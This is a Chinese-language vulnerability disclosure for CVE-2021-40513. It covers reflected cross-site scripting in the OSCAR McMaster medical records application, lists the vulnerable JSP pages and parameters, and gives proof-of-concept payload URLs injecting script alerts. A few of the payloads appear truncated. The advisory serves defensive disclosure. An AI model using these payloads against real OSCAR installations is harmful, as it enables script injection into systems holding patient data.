CVE-2021-40513 OSCAR McMaster 19.40~1235 反射型跨站脚本漏洞

OSCAR McMaster 应用程序 19.40~1235 版本的多个页面中存在一个反射型跨站脚本漏洞，允许任意执行 JavaScript 命令。

[CVE mitre 占位符]

存在漏洞的 JSP 页面：

documentReport.jsp - functionid、function、curUser 参数

addappointment.jsp - duration、end_time、start_time、day、month、year、provider_no 参数

unLock.jsp - userName 参数

semographiccontrol.jsp - keyword 参数

providercontrol.jsp - provider_no、viewall、view、month、year、day、every_min 参数

CalendarPopup.jsp - month、year、param、urlfrom 参数

logReport.jsp - endDate、startDate 参数

SendDemoMessage.do - demographic_no 参数

ViewConsultation.do - demographic_no 参数

示例漏洞载荷：

documentReport.jsp - /oscar/dms/documentReport.jsp?function=provider&functionid=999998&curUser=999998daka4%22%3E%3Cscript%3Ealert(document.domain)%3C%2fscript%3Eowtpz

addappointment.jsp - /oscar/appointment/addappointment.jsp?provider_no=999998&bFirstDisp=true&year=2021&month=08&day=27&start_time=08:00&end_time=08%3a14pyqzl'>

unLock.jsp - /oscar/admin/unLock.jsp?userName=192.168.105.149w5q31%3Cscript%3Ealert(document.domain)%3C%2fscript%3Efe9hjvibv0e&submit=Unlock

semographiccontrol.jsp - /oscar/demographic/demographiccontrol.jsp?search_mode=search_name&keyword=%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E&orderby=last_name%2C+first_name&dboperation=search_titlename&limit1=0&limit2=10&displaymode=Search&ptstatus=active&fromMessenger=false&outofdomain=

providercontrol.jsp - /oscar/provider/providercontrol.jsp?year=%3Cscript%3Ealert(document.domain)%3C/script%3E;&month=8&day=18&view=0&curProvider=null&curProviderName=null&displaymode=day&dboperation=searchappointmentday

CalendarPopup.jsp - /oscar/share/CalendarPopup.jsp?urlfrom=xm4vs">

logReport.jsp - /oscar/admin/logReport.jsp?providerNo=*&content=admin&startDate=2021-08-29b2266"><script>alert(document.domain)<%2fscript>xdzr6digegi&endDate=2021-08-30&submit=Run+Report

SendDemoMessage.do - /oscar/oscarMessenger/SendDemoMessage.do?demographic_no=dllj2%22%3e%3cscript%3ealert(document.domain)%3c%2fscript%3ej7t05

ViewConsultation.do - /oscar/oscarEncounter/ViewConsultation.do?sendTo=i15ji%3cscript%3ealert(document.domain)%3c%2fscript%3eu5x29&startDate=&endDate=&searchDate=0&currentTeam=&orderby=2%27%20ASC&desc=0&offset=&limit=100&mrpNo=&patientId=&serviceFilter=&consultantFilter=&urgencyFilter=

由 Jack McBride 于 2021 年 8 月发现